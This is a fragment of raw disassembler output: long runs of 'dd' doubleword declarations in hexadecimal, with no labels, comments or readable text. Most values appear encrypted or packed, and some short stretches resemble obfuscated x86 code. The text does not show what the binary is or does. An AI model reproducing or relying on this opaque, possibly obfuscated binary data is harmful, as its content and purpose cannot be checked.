0E70F51B3h, 345C0A6Ah, 4C94F8D9h, 98E0B491h, 85E6FD79h dd 7F5AB7DFh, 320CC129h, 0E1C11C64h, 58FC53BBh, 3C467DFh dd 0C5BF2703h, 181E44A2h, 999A5CB9h, 50DCB25h, 0CD155D65h dd 0EA6C3210h, 0D741176Fh, 0F3563F0Dh, 0A1065CBh, 0BBEDC75Ah dd 1E96F0BDh, 0D820764Ch, 137B2905h, 40B69CFEh, 0A8AEF2D1h dd 1CEEC6DAh, 0D10C5402h, 1BF46DF1h, 0B9399689h, 6546DB71h dd 0DD8D393Fh, 0BC5BE05Bh, 0E8AC050Dh, 5CB83311h, 1054C20Ah dd 0B9A01470h, 0AFDAE1DAh, 5EA1h, 44A2A700h, 1DA7181Eh dd 0EE050DCBh, 5A392094h, 21AFDA6Bh, 1, 1046A227h, 3159BB26h dd 58B53DDFh, 15B7020Ch, 20F264ACh, 0B2A4E8C9h, 0F6CF52F2h dd 8D09B4A2h, 2B7D5727h, 0DA5CDF71h, 0FB050DD2h, 0C836CA9Eh dd 0C310247Dh, 0B4549CC5h, 0FBA1815Ch, 62333993h, 0A6482735h dd 0A2BD27E7h, 0B4251341h, 8B0C0A5Ch, 0E8BE9871h, 41D8DC38h dd 0EF488CE8h, 50DCB57h, 6AE72F17h, 97DF590Fh, 5B096AF7h dd 0FC939933h, 0DAE68559h, 5EB48959h, 0E1FF5208h, 0F6D041B7h dd 0B6FEB6A0h, 2CC61016h, 0DEB6BD3h, 4B1B2B05h, 980696F6h dd 59727DFAh, 26B3A5EDh, 3E9B9DC3h, 478177DDh, 8832B933h dd 4D691D0Eh, 0C2C6A2EAh, 1B3067EAh, 0CA97AFDBh, 7D000000h dd 64D2849Ch, 63FD41B2h, 75BD050Dh, 0A2E79D4Dh, 0A7791341h dd 0DCBE254h, 0F292A205h, 445CA274h, 3DCF3D4Dh, 637DC080h dd 2C0982E0h, 8EC63078h, 47C3E280h, 2E564DF9h, 0B1BF8528h dd 87E0F32Ah, 6876FD1h, 0E4C80CDCh, 0C64FF4Dh, 0F5BB4A1Dh dd 0B9EFC855h, 0F5A3BC51h, 26E2C25Fh, 0DAB61D5h, 0E9112105h dd 0F44AB56Fh, 0B4050DABh, 0CDDA448Ch, 0EAD54452h, 0C948AE7Eh dd 27B2A4E8h, 3C9D9BCDh, 0EE857325h, 6E4E2094h, 4E763E38h dd 0FB4EA6BAh, 0C75A0066h, 65EFBFE9h, 0AFDAD32Eh, 6395h dd 41A25300h, 0CB00B681h, 0C321050Dh, 0A9D1E19Dh, 44D032AFh dd 0FC2FEE7Ah, 411B4375h, 5C58BE8h, 7E764C23h, 0BDC593ECh dd 2804E5C7h, 1CCCF87Eh, 0FB7D2301h, 0DCBBB00h, 0A2884C05h dd 0B8BB9836h, 50D5F06h, 98F07E46h, 93F797FAh, 0C1513619h dd 0DD8AFDAh, 3C000000h, 0F62A23CEh, 312C9427h, 24DE8ED2h dd 0E2C142A2h, 118076BEh, 4BB16B31h, 62FE461Bh, 2B0DDDCDh dd 9F6F455Dh, 158FD781h, 8AC12727h, 1FCFD874h, 0CC86DF35h dd 34E4DE73h, 9C367E0Fh, 3F5A3BDh, 0C7D066D1h, 0A090030Ah dd 0D34EA878h, 8845ADF3h, 0F972E4AAh, 30AC747h, 502A8298h dd 4EC42C72h, 0EBEB36E0h, 5B78AAA1h, 646AD465h, 0D22FFF47h dd 29A8AEF4h, 37C983C9h, 0AEF72C4h, 85BF4003h, 649FCF66h dd 45136D88h, 0BB6B93D3h, 96C0DCBDh, 0C40E22A0h, 0F0A173F7h dd 0E650041Dh, 34797357h, 5931BBDFh, 51CB1379h, 61D9EF8h dd 78A0E452h, 7C16B6FEh, 0B5E24817h, 14E9Eh, 7F955A00h dd 0DA936C26h, 3A0F34F4h, 0B58D0C0Ah, 6C4A87EFh, 41A13026h dd 0DE08AE89h, 7848030Ah, 55DC630h, 91C7DFAFh, 80A4E349h dd 8E6BB5E1h, 0E9000000h, 6D277C95h, 93F5199Fh, 3561EFB1h dd 0A47E2E7Ah, 0DDD135Bh, 0C033D505h, 50DDD7Eh, 0CA98303Eh dd 0EF43551h, 6A5A06C6h, 991D1EB0h, 0D9050D9Bh, 8771273Ch dd 61C787CFh, 297F5AB7h, 9B44FA79h, 0F65050Dh, 3A05DF59h dd 50D9B84h, 161FCC4h, 0AC86DD5Bh, 59B96348h, 0D95AFC53h dd 50D9B65h, 463A6C44h, 6908F07Eh, 0DDCE6281h, 95C2070Dh dd 0EBC425FFh, 580EEDBDh, 0B8050D81h, 98116088h, 8B000000h dd 90F8FDA5h, 0DF8F72C0h, 267F9525h, 9B5B9E6Ch, 7D9EC2DEh dd 872417ADh, 270F344Bh, 72BAE8CAh, 573D1584h, 0AEF4D20Fh dd 0B6936EA8h, 903074E2h, 0A272C93h, 0BD370B03h, 0D58FD52Dh dd 247EC033h, 415F030Ah, 0BB6B5B17h, 0CF5B8953h, 0A379A1F7h dd 3523694Eh, 280BD171h, 9381560h, 1B4DA7BAh, 0DE50AF1Dh dd 0B2EAA129h, 1E26DA8Ah, 363FE18h, 0BCE2C05Dh, 0C75A0ABAh dd 22BFB9EFh, 35A492C0h, 98A8CD8h, 305E6349h, 0F71DC428h dd 450BF4AEh, 0B90F368Ah, 0E58B6189h, 0FD7B2D04h, 0D53319C9h dd 2369CA80h, 0DF0F3FFAh, 92F061D7h, 6D3CC80Ah, 50985AB7h dd 9AFAB4BAh, 7190E28Fh, 4EA4B9D1h, 989D1E18h, 95C7E792h dd 0C323BB31h, 0BA98759Dh, 9EF762D4h, 0DA3E4CCAh, 74DA38D2h dd 0CB91F16Ch, 3304Dh, 79480000h, 1D4BA2FFh, 0F258BE1Bh dd 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh, 8DD330A1h dd 782E0E8Bh, 5F0163FEh, 895332D9h, 4C381E3h, 83000000h dd 1C8704EBh, 14895C24h, 0E3895324h, 4C381h, 0EB810000h dd 4, 5C241C87h, 57241C89h, 0C781E789h, 4, 8704EF83h, 895C243Ch dd 0BE562414h, 3C990093h, 92F68146h, 513A4D6Fh, 61784AB9h dd 59CE217Eh, 19C7CE81h, 0CE810901h, 7F8E3F5Dh, 7088EE81h dd 0F38979C1h, 4EC835Eh, 81242489h, 42404h, 505A0000h dd 8B8h, 89D00100h, 24048B18h, 0FF04C483h, 835A2434h, 1C8B04C4h dd 0E0895024h, 405h, 40500h, 4870000h, 93E95C24h, 0F8FFF968h dd 3EB89D22h, 6F128CDAh, 0B80545CBh, 60E1441h, 0E0FFC503h dd 63B301D5h, 1886CB53h, 63461B49h, 63E2FB8Fh, 29070A8Ch dd 3737ECB1h, 66A4A60Ah, 51FF7265h, 29C2337Bh, 5DEB9258h dd 20C098D9h, 29E36A4Eh, 3AA1073h, 27B99624h, 2C5C381Dh dd 430B9C9h, 31E946B2h, 406CC3CCh, 4980100Dh, 28785B1Bh dd 10E8h, 0FE1B1600h, 0CB8E0801h, 4BB99AAAh, 1DA68D4Eh dd 31CE81C3h, 5F68F23Ch, 1DC0E681h, 0C7815226h, 64F4h dd 1907BBh, 0DE800h, 0D1470000h, 3FF4D540h, 767C9CAEh dd 0E93A1259h, 0Dh, 42B8D16Fh, 0A48E8B51h, 0A045BC39h dd 37FF5E1Fh, 0DE859h, 4B410000h, 6DDD4636h, 4C6C6167h dd 6694C375h, 37B8C881h, 95E98158h, 66022A83h, 812C05B8h dd 0C678A0F1h, 81D48A64h, 41968FF1h, 563DB85Dh, 0F5148E3h dd 38Fh, 0F1B70F00h, 0B866078Fh, 0EF81FE6Fh, 280E180Fh dd 0F2D08166h, 0BC78158h, 0E9280E18h, 11h, 833D92C5h, 5DE0FB87h dd 85689186h, 0DA7E90EDh, 1EB834Ch, 0FF88850Fh, 0FE8FFFFh dd 0EF000000h, 5961AA80h, 0ACC1C05Bh, 0C18F3497h, 0C78A4661h dd 0E28D8D58h, 29060E16h, 72B2D85h, 418D8906h, 6A06071Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 8B8EC351h, 0D12A894Dh, 8A0D736Dh, 585C7DAh dd 0B0060706h, 6A00005Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 758C357h, 2BA9788h dd 0C74CF8D0h, 7006985h, 6, 0B5FFF500h, 6072B21h, 95FF6BB7h dd 60701E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 7FC35545h, 0EE9ACh, 35000000h, 0B748CFB6h dd 184A0A94h, 97BC2317h, 95FF006Ah, 6073201h, 7DEBC08Bh dd 0D2F13D88h, 1E8B4198h, 0D34CA258h, 1394AE27h, 794B2E1h dd 0A4F5DC84h, 8C159A5Eh, 13866F57h, 0D0EC93DBh, 0B6C6106Eh dd 0F5AF94DAh, 0EC68F275h, 4D63CF57h, 0DC9C0ED1h, 3A17E9ADh dd 0B2741379h, 827CE849h, 72E90ED4h, 0AF9CAF85h, 3844C0Dh dd 71EF014Fh, 74942902h, 8AB4330Dh, 0FDE05BB9h, 14A69284h dd 73A2A999h, 8EC9E158h, 0FBA440FAh, 71E3C52Fh, 88687EAEh dd 0BB9BA3CEh, 0A04EB0Fh, 0E977F513h, 0C63h, 0E18F468h dd 6600E906h, 0DD68FFF9h, 0E9060E19h, 0FFF965F6h, 0E1BE168h dd 65ECE906h, 568FFF9h, 0E9060E1Dh, 0FFF965E2h, 0E202C68h dd 65D8E906h, 7A68FFF9h, 0E9060E21h, 0FFF965CEh, 0E224B68h dd 65C4E906h, 3017FFF9h, 0F7CD0068h, 0A88459A1h, 1A7B96FEh dd 0D6332E36h, 9FDB7A82h, 157D2B04h, 0AFB799F8h, 0FA0250B2h dd 31590F67h, 0C579FA9Eh, 850303DCh, 44A2A71Dh, 59B9181Eh dd 0BA9405F3h, 91EF6AECh, 0E2C051C7h, 0CD25BABCh, 0A4BCC2E7h dd 0F258BE50h, 4E1A77EAh, 0D958B594h, 0E5A197FDh, 68E5EDBDh dd 47D2440Ah, 0BD1396Fh, 28C298DDh, 0E1A1F7D1h, 3498B902h dd 4FC9F90Fh, 0AFA6ECCh, 26724F03h, 1B41A130h, 258FEB1Dh dd 0CE0E480h, 0E1983E05h, 37C5B5h, 95030000h, 5290F37Fh dd 0DCB5DE1h, 0ED151D05h, 0C78DEE6Bh, 0A5ED1551h, 0C15B0CEFh dd 8BBB0F34h, 361878D1h, 0A31F9096h, 0EB030AC1h, 3D1AFDF7h dd 0C4B5E175h, 0B6h, 0F043E500h, 50DCB4Eh, 9B66260Eh, 0A52600BBh dd 681C1A4Eh, 367E3620h, 207451C0h, 54BAB36h, 0C391F24Fh dd 5EB42503h, 4FDDB6CEh, 1C4456FFh, 5FD807F4h, 6D45050Dh dd 2402DF27h, 382EF87Eh, 0B956A17Bh, 2F0F3400h, 0E2A2F0D2h dd 42E367Eh, 7CFF95CEh, 935A3A8h, 936E240Ch, 3B6BEDB3h dd 1F78D16Bh, 0D32C2149h, 0C6998C85h, 81870912h, 0A42ECh dd 297F5600h, 62340CC1h, 0BFE9C71Ah, 0F75DBA57h, 431172EFh dd 43601A3Bh, 372A3266h, 0E9648CDCh, 0A2BFC78Dh, 59F61E44h dd 0D3FABCBFh, 2ABA0303h, 1341A250h, 0BF3016CBh, 4202F4A4h dd 7EA6F2CFh, 7F959C16h, 30CA6C26h, 0DCB7FC7h, 57F73F05h dd 34C193D4h, 0D543730Fh, 83C92E03h, 3231D195h, 30AC188h dd 61E8CCC0h, 0B5E17522h, 0C6E9h, 44A26F00h, 5CB9181Eh dd 4E8D0E08h, 94050DC4h, 0B0D5BB5h, 50B68B5Bh, 0D128E20Ah dd 0FAAAACF0h, 8D5D0B67h, 0A0C52B0h, 5309AAB8h, 0F5A4B3B9h dd 0F292417Dh, 8634D152h, 0BC840F34h, 1B588E54h, 2A25F641h dd 0DDE50935h, 5DC92A07h, 0A4E0243Dh, 882E09A1h, 0C805036Ch dd 6088B0F8h, 2A7E57AAh, 0B509EA2Ch, 0F505036Ch, 78C585CDh dd 57D0491Fh, 0DD091226h, 9590667h, 687F0000h, 0DF352830h dd 90EC6189h, 42A3BEC6h, 3E1BF61Eh, 77F3026Ah, 3D45136Ch dd 779FC120h, 82EAB89Ah, 0D921774Fh, 0ED51A246h, 0AD0303D2h dd 4E54F25h, 74DAE2Dh, 7D2D5511h, 89D187E0h, 72287E54h dd 0CBE75FD8h, 9FA7050Dh, 0A22D87CFh, 0B9181E44h, 20966159h dd 60050DCBh, 13C02850h, 50DCBAFh, 28E2A88Eh, 0ABADF3D1h dd 5E86CC2Eh, 0AB8B468Eh, 898FD130h, 36A395DDh, 0B8C8AD0h dd 7FD2654Fh, 85C13761h, 73E5AB88h, 0A88E9333h, 53309AE2h dd 0DAAFDA6Bh, 0B6h, 9EC2233Eh, 7F9514CEh, 8A936C26h, 0CA0F3498h dd 3F837CFAh, 77030AFAh, 96280BADh, 0D6030AFAh, 411773EEh dd 0D86F4581h, 53899A52h, 4AA7B2EDh, 246C181Eh, 0A9EE64h dd 0D435B5E2h, 54B6ABFDh, 6FC15E0Eh, 7000000h, 0DCBFFBCh dd 0BAFBE905h, 49ED4EE0h, 7B050DCBh, 2E6E22ABh, 0B3BD31D8h dd 0E8C3DD3Eh, 4F1F47E6h, 33814AB5h, 84610F34h, 497DFBADh dd 0B64F901h, 8CB9875Dh, 4D301B6h, 0EB137959h, 7D6B3D3Bh dd 71C86238h, 9BCB4D13h, 0B78768CBh, 1F270933h, 6A381AF7h dd 570C5AECh, 25061BBDh, 1DCDF97Fh, 34DC891Eh, 0F119290Fh dd 530E0h, 7F951800h, 64CA6C26h, 467D5094h, 0DA590952h dd 0F347DF5h, 70EB6D55h, 30A43CAh, 0BF1F8FEBh, 35F16299h dd 0B120165Eh, 1EA09357h, 5E030AF7h, 0A9282E56h, 0E2F6184Ch dd 0CDC1A50Ah, 99F950E7h, 410145B3h, 0E1A3CC8Bh, 837C16B5h dd 30AFF3Bh, 849B4B7Bh, 4D9h, 99A26940h, 260B6393h, 61404BBAh dd 0FD57F73Fh, 6A3E1B97h, 0DA70B8ECh, 34BE1C59h, 0B1C4EC0Fh dd 71D563BAh, 0DA9BC9ADh, 98F43A00h, 433DF0A9h, 0A17EF983h dd 11A0F6CBh, 779D3721h, 358B742Eh, 0AFA6F663h, 61217752h dd 21FB5FDh, 0FB167E24h, 0DD5CB59Bh, 9B59517Ah, 755C8A5h dd 6C430000h, 0DB39D43Ch, 94F06D75h, 4EA7BAC2h, 21FF21Ah dd 73EF0E56h, 39411770h, 739BCD24h, 8ED6BC9Eh, 0C52D7353h dd 0E94DAE4Ah, 0A90303D0h, 44A24339h, 51A2441Eh, 50DCBEDh dd 869B85ADh, 0B4C40B14h, 0AB7DFBABh, 8FD52DBDh, 9B051B89h dd 0C7C3788Ch, 0F4A2829Fh, 9D7C16CCh, 0B264D286h, 0DACFD41h dd 4D75BD05h, 0AE1D9E9Dh, 555D0F34h, 1240A2BFh, 6D3B17CAh dd 0AECE70EBh, 16A8030Ah, 0AAE9125h, 21E1D103h, 0A9E78C2h dd 0CB101E03h, 0DFD65281h, 7593B969h, 4DFD41B2h, 989B030Ah dd 30A4D26h, 92A25E66h, 3F5A3BFh, 0F6411B43h, 933100Dh dd 0F68C19Bh, 7F64DA59h, 1C24050Dh, 0B6A0904Ch, 0E3B18D6Ch dd 92913175h, 50D7F28h, 81886C60h, 0AFDB1FC2h, 2049h, 7F958F00h dd 9AC296F3h, 0EC9277C0h, 12220F34h, 0E155A678h, 0A1030AD7h dd 1677F191h, 1Bh, 0B47F95A2h, 0DCBF34Bh, 5B83B305h, 3012EF81h dd 8441A262h, 740F34FBh, 0A228CA4Ch, 40071E44h, 0FC0920CEh dd 6316706h, 40A70000h, 71DF018h, 0F8D40951h, 0AA8B46AEh dd 66439EE6h, 4F0B2A32h, 0C52D7B54h, 1F672908h, 0AAB2E0C2h dd 0E1095FB7h, 15A98A2Eh, 550303D6h, 7F9577CDh, 1E936C26h dd 580F34C9h, 0C901B586h, 0A441030Ah, 33D31B4Dh, 60F1674Fh dd 9E345C02h, 6123AB90h, 0ABDB5D03h, 0BF3394A5h, 892F0CEFh dd 283928F7h, 8BD9638Bh, 9D9E30EAh, 2441E919h, 0E3B96959h dd 5094F049h, 41E95FE7h, 0EF171F24h, 8E6D3D69h, 2E78D951h dd 3AA791A1h, 1F455DDEh, 6F658FD7h, 56A39C36h, 0E6287FBBh dd 5BE758DEh, 132441D4h, 0F552B53Fh, 0BCD12685h, 15Ah dd 6FA38198h, 41DC2A8Ch, 125A6A24h, 3AA06024h, 6C267F95h dd 34C91E93h, 83E37E0Fh, 0EE642B1Bh, 5D8529BAh, 47B1E7C0h dd 0C051C70Fh, 0B954BCE2h, 0D359F359h, 0C5248CFh, 0A1874779h dd 0F78E0D2Eh, 2E860028h, 0EFC5465Ch, 0CFF7BFB9h, 0D34CAAA7h dd 0A278A0F0h, 0EE972F08h, 0EFD72441h, 7546393Fh, 540FBCB4h dd 0AD2C2A7Ch, 7C130553h, 0C7298E66h, 161F9F3h, 8099335Bh dd 0DD07F1A7h, 0AD4DC62h, 6C949C03h, 0EE1F3BE2h, 8343BC00h dd 58F258BEh, 5DB0E4C1h, 0F6701044h, 0B66C375Ch, 0AF2D145h dd 59A19103h, 4A0055B3h, 51F9EF7h, 792D2B53h, 5ADC8AE4h dd 0EA07A2Ah, 441BE120h, 50DE9775h, 121CA589h, 0A28141A5h dd 933C915h, 3E9B9DA5h, 0F76A72D8h, 52041C9Fh, 4D1B75E4h dd 2B539BCBh, 0E9BF9871h, 0D2BC3F39h, 30050DC6h, 0CC2AC428h dd 67FD7E86h, 8DF1F99Dh, 5A0FD944h, 0A98CC686h, 0EEC41961h dd 293DBEB8h dd 0C4FBA073h, 3210EAC2h, 0EB48B66Ch, 0BAC18297h, 3C96FEAEh dd 0A690C4DDh, 0C3233EEEh, 0E0799B9Dh, 40EDE80h, 62FF95CEh dd 0E8B25200h, 27BAA60Fh, 0D63E06FDh, 4DC7h, 0CBEF5D00h dd 85393A81h, 0C5F1196Ch, 0B86F73FDh, 6BA40AF4h, 63F4F079h dd 7F9539A3h, 0CBF34BB4h, 83B3050Dh, 5DB6815Bh, 0ED0F34ECh dd 0EF873A03h, 0F9211312h, 586E27Fh, 0B7FF792Fh, 82F9678Fh dd 7B382F14h, 33D856A1h, 98A8030Ah, 44A279F3h, 7DA5EBCBh dd 4E99CF15h, 0DCB49EDh, 0F1390905h, 9E27D85Bh, 0DFE70F34h dd 9CCA2405h, 819578C6h, 0F75F4818h, 0C0223F57h, 461F892h dd 7EF8AC85h, 30130E36h, 0EC46A060h, 0AE7BDE6h, 0B6FE782Eh dd 4EF34C16h, 0E09330Dh, 0DF34BB4h, 83B3050Dh, 0DC86EC9h dd 0B888050Dh, 0B5058670h, 0D3050D3Dh, 14B8816Dh, 9949C8FAh dd 0C1C655B3h, 640B68AAh, 23944AE2h, 5F877AA8h, 58DB7D17h dd 50D6BE6h, 34CE9EA6h, 34363ECBh, 0B0A68E0Fh, 0A59833Fh dd 0DDD7CB03h, 0E1FD1D7Ah, 1DE4B5h, 95600000h, 0CA6C267Fh dd 0DCBD569h, 0FDAD9505h, 0EC3FD427h, 0A78F0F34h, 1BDCB1h dd 0E5640000h, 0A07A2C04h, 0DCBEF57h, 0C787AF05h, 845E074Dh dd 34FB7ABBh, 0BCBA8A0Fh, 0CB44A2BAh, 0F7BFB9EFh, 0CDFB56CFh dd 43B90920h, 30A2Ah, 0E1A78E00h, 3A6C4499h, 77213FD2h dd 0CF95F26Fh, 1B49AAA7h, 0BB2822F3h, 6FE20A5Eh, 213C4414h dd 9A779FC5h, 118ED6BCh, 0EB328477h, 0E2720303h, 1E44A208h dd 0F359B918h, 520341EBh, 1F45A1B8h, 0E7BD6D19h, 3498A714h dd 27BC10Fh, 0EC7BF7C9h, 5C6418C8h, 1D961DAh, 0BD91030Ah dd 3173D037h, 4D3AB5E2h, 1E000000h, 94DA1110h, 8444390Bh dd 0F043E5DEh, 50DCB4Eh, 0CB77CF28h, 0F37050Dh, 89834373h dd 0F7401A5Bh, 0F34C1BEh, 6FE0565Eh, 30AC1D3h, 2A2D879Bh dd 0B5E1756Dh, 0DA5CDF71h, 0BC030B35h, 0B35FB43h, 0F78BBB03h dd 0FA001FCFh, 0C4000000h, 441E44A2h, 0ADA8EE5h, 450AD2Ch dd 0F9AF8712h, 0DE84E27Fh, 0C49645B6h, 2B0B050Dh, 0C50D53B0h dd 348A750Fh, 6050DCFh, 8B2D8E88h, 2818D430h, 0E5FD1078h dd 0F043E5BFh, 50DBE4Eh, 0CE2B260Eh, 38E89C9Ah, 0B77E943Eh dd 0DBEF244h, 8F82B205h, 0E7BDE5B3h, 0BE4CF24Dh, 106D050Dh dd 0DE92D244h, 0CA6C36D6h, 99491F77h, 349DAD9Ah, 0CD151D0Fh dd 0B69CFA57h, 0ABF1D140h, 11B1F9ADh, 0D2882D3Bh, 35433061h dd 5AF0C009h, 56BEEAC7h, 130A5EBBh, 911EE40h, 0BC2F4EC4h dd 0D8000001h, 964B93F5h, 4984ECB2h, 3CD1396Fh, 0F4697127h dd 94A5CD9Bh, 0B8ECC9DAh, 0F2A6BD50h, 4D1B77EAh, 84CA2825h dd 3601A37Ch, 303EA80h, 0A2DA50C0h, 0A7791341h, 0DCBE254h dd 3700A205h, 50DCB8Fh, 0EFBFE7CFh, 800C6AE7h, 16A2B1FBh dd 0FED4496Eh, 0BEE6AEA8h, 51DFC56h, 0FDADD95Fh, 267F9507h dd 0C1DA936Ch, 0A3A0F34h, 0C12F930Ch, 6367030Ah, 75C18689h dd 9948B5E1h, 8C000000h, 181E44A2h, 0E085CB9h, 0DC44E8Dh dd 0ADF3D305h, 6A381AF7h, 0A7BF52BAh, 0A7AD07F1h, 0EADB24FEh dd 5A0F34ECh, 0EAF8026Ah, 0A77913C9h, 0AEEE254h, 0F292A203h dd 353DC771h, 89437309h, 0F90157B0h, 0AB880B64h, 0B3373E5h dd 12394B12h, 3A53C909h, 0EBh, 0BAC286E9h, 0F31B4DA7h dd 683E1Eh, 58A0F4CDh, 94FCA885h, 0B99A0945h, 6B4E83EBh dd 2600DD25h, 9DF56870h, 54F0AFB7h, 3E953EBh, 29831303h dd 0E5C641A2h, 0C50DB9BFh, 0C942A0BDh, 45136DECh, 378DD51Dh dd 0EECB44A2h, 1E46126Fh, 95F16C18h, 6CCD87CFh, 90D44214h dd 8BEB76F0h, 8A750FC5h, 50DCB34h, 749C4C74h, 21FBB8AEh dd 3FF2FED6h, 8472420Fh, 0F573D15h, 0A8AEF4D2h, 0E855A37h dd 7BBF9BF5h, 0F8EB46F8h, 0F63E0672h, 0E0B49100h, 0B3391176h dd 515B3F0Eh, 0EBF359B9h, 904A1076h, 0E085CB9h, 0EBD36BD4h dd 0A39372F8h, 0DB81E67Bh, 0FF79295Dh, 855F0562h, 0EBAE10E3h dd 0EE72F8h, 0A6DFEA2Ah, 0B5559D0Ah, 0D973D5B3h, 0F89BD85Eh dd 0F8A89872h, 6046189Ch, 0AC89603Ah, 2D2028F8h, 0F4898FD5h dd 3, 0A2FF790Ch, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h dd 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h dd 5E08950h, 4, 8704E883h, 895C2404h, 0E868242Ch, 8900004Ch dd 1168240Ch, 89000032h, 0B8502414h, 60E17B5h, 48BC189h dd 4C48324h, 78E968h, 24248900h, 4240483h, 0CB89535Ah dd 8B085A89h, 0C481241Ch, 4, 5A2434FFh, 8B04C483h, 8951240Ch dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 59B0E95Ch, 0D3BDFFF9h dd 7BA58BA6h, 0B8A77098h, 60E235Bh, 0E0FFC503h, 496C04F4h dd 170072E7h, 0DD9018Fh, 7CFF5CDAh, 4FA78403h, 35532745h dd 597D658Dh, 287D6BABh, 1090EDB7h, 6303DF21h, 6D01877Bh dd 23010EC4h, 0B809E9Bh, 29F2C0EAh, 4EA416A1h, 49DFFE82h dd 2BB73847h, 48EA953Bh, 12D1E0EAh, 18AD76C1h, 3F89EA36h dd 7376372Ch, 38EEED3h, 373CD507h, 9A0004EBh, 2E969D6h dd 0E4000005h, 0A2BFC781h, 15C81046h, 0C8056D3Bh, 805DA5EBh dd 48E9F1A7h, 0ECB8950Eh, 266A4984h, 712703DEh, 0C89EF469h dd 0EA55EFA0h, 303EF54h, 3B168C14h, 2FD575DBh, 4EF043E5h dd 6F050DCBh, 86AE4216h, 351B7BC6h, 2F7556C3h, 662C0AC7h dd 24704DACh, 54D27232h, 0B1A7EDC5h, 0F8AE8A67h, 0A9FFD528h dd 273A1EAFh, 8ECA9ACEh, 287E5426h, 63E44AC0h, 9EB2CA29h dd 6640DD8Dh, 0D9352830h, 350C8D8Bh, 3D97F563h, 5864C1CFh dd 11B1B782h, 136FFFF5h, 0C2203D45h, 0A6789A9Ch, 0D3FE155h dd 0E357A105h, 8CBCA635h, 0BCBF6F97h, 50D98FFh, 1F02EA08h dd 0AFDABE38h, 77FFh, 44A20500h, 63FE181Eh, 0ABDB5D03h dd 124D7BA5h, 963641F9h, 0D0B2395h, 2A82D005h, 0DB2B6027h dd 127AFh, 0E52D0000h, 0A77D2B04h, 0DCBE254h, 0F292A205h dd 0D543156Fh, 603A6C44h, 72E4A889h, 0CBEF57A0h, 87AF050Dh dd 28A98F5Fh, 69385CBh, 0BADBC20h, 7A9EE950h, 2446C432h dd 0BFA78903h, 297F55C8h, 7379412Fh, 0ADD5BB9Bh, 0D8B23A9Ch dd 934E96F8h, 2F85EDB3h, 364717E5h, 3E0E21CAh, 37B6936Eh dd 0DA8A8CDCh, 0DF35A492h, 4E148F89h, 187ED366h, 0B28F9232h dd 7946D033h, 7C6103Ah, 0C52D559Dh, 0F2642A08h, 0CFF0DA20h dd 82CA9A5h, 0D22972Fh, 0A7EFD705h, 0B93A1AE7h, 15CFF75Dh dd 8F89DF34h, 0B02107C7h, 89080E50h, 1573E5ABh, 6602A70Dh dd 0D0878A62h, 77AFDB52h, 77h, 1341A2FDh, 0E58B425h, 0C59FA508h dd 0DCBC47Ah, 0D698405h, 6D95D147h, 54C294F0h, 0A0147010h dd 0EDA7EDCEh, 0A363350Ch, 0F55B6ABh, 0E5AB8809h, 0D4358F73h dd 351B7BF8h, 8B5B83C3h, 0B5E2654Fh, 1CAFDA69h, 52h, 1341A2D8h dd 0DE80E079h, 4DA9280Eh, 48AB4D07h, 50DCBF6h, 58DE8EB6h dd 35C52F03h, 3CD68CD8h, 0DCB7BC3h, 5B0B3B05h, 0A7809933h dd 0A2AB51F1h, 0E77A1046h, 782C098Ch, 888EB6FEh, 0B12A0CDCh dd 50DCB08h, 0E119BFFh, 0AFDA6B49h, 1D0h, 42A21400h, 2D7A58D2h dd 0BD998CF3h, 0F167AFD7h, 865C0260h, 470749ABh, 35BF83E1h dd 0F51D4BA5h, 0A67C392Fh, 34DBF455h, 0EA6C540Fh, 3941176Fh dd 1F5ECE24h, 320A82BAh, 86CE90F0h, 0DD67D85Eh, 0F8030A7Ch dd 0E948729Ah, 0B7AB8CDDh, 2808898Fh, 8E92F066h, 1C768126h dd 0CEF8198h, 30A3AAAh, 370ADAEAh, 0EC6189DFh, 0CB56C096h dd 20B3A5EBh, 42A03AB2h, 296EF41Ch, 0F0B5E25Ch, 110h, 80C4E654h dd 36991D69h, 7F95EC96h, 0DA936C26h, 3A0F34F4h, 0BDBE500Ah dd 30ADEF9h, 5FD989B9h, 56BEE4C2h, 0C7205BBBh, 5EB36991h dd 0F177177Dh, 0DA5C0260h, 0FB931979h, 0C7ADB59Bh, 0B5E18080h dd 3807h, 7C95CD00h, 0DC926D27h, 3C050DCBh, 358902F4h dd 43050DCBh, 976ABD37h, 26B2FBFh, 59FF06CEh, 0BF6F2711h dd 94F27C95h, 73CC86CEh, 50DB73Bh, 0B283EBDBh, 94h, 267F95CEh dd 963E936Ch, 969E0F34h, 0BE9B76A0h, 68386CEAh, 3DD7BD95h dd 0A096C0DCh, 312C24E4h, 6BD18BD1h, 0F04341AEh, 0A98F5F1Ah dd 0A118736h, 167C5A03h, 54B120h, 0CB73CC16h, 8B030A12h dd 6E465CBBh, 846A2E49h, 36614688h, 1D79292Dh, 0B9EFC797h dd 0DE5D8B51h, 0FD9828E1h, 540E3696h, 15FD41B2h, 75BD030Ah dd 432C0FD5h, 0F3093839h, 0D33009C3h, 0BDB8B8Dh, 56AC2Dh dd 8C607816h, 3CD68FC5h, 0FDAB879Ah, 989B4B7Bh, 0F361DEFh dd 0B50F575Fh, 91F37F95h, 942A15CFh, 0D4050DCBh, 54EEA4ECh dd 0CBFD41B2h, 75BD050Dh, 0E72956D5h, 7C990F3Fh, 0C0A3264h dd 35EFB58Dh, 0A8AEF8D4h, 29242CFCh, 1A9583C9h, 0F36B324Dh dd 0A096C0DCh, 9781D731h, 595E560Ch, 9BF950E8h, 430343B5h dd 949AAD07h, 57E01E2Dh, 0C5580836h, 825FA7EDh, 0DE78FEA4h dd 0C4326643h, 0B3459E80h, 11BE223Ch, 0C197EC71h, 0CB213957h dd 7F58D333h, 52B22F29h, 2A521204h, 6F479AE2h, 7FF5BAFFh dd 8CB4A08Fh, 3F38Ah, 79090000h, 1D4BA2FFh, 0F258BE1Bh dd 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh, 8DD330A1h dd 782E0E8Bh, 5F0163FEh, 895232D9h, 4C281E2h, 56000000h dd 4BEh, 5EF22900h, 5C241487h, 61AD68h, 24348900h, 45B868h dd 24148900h, 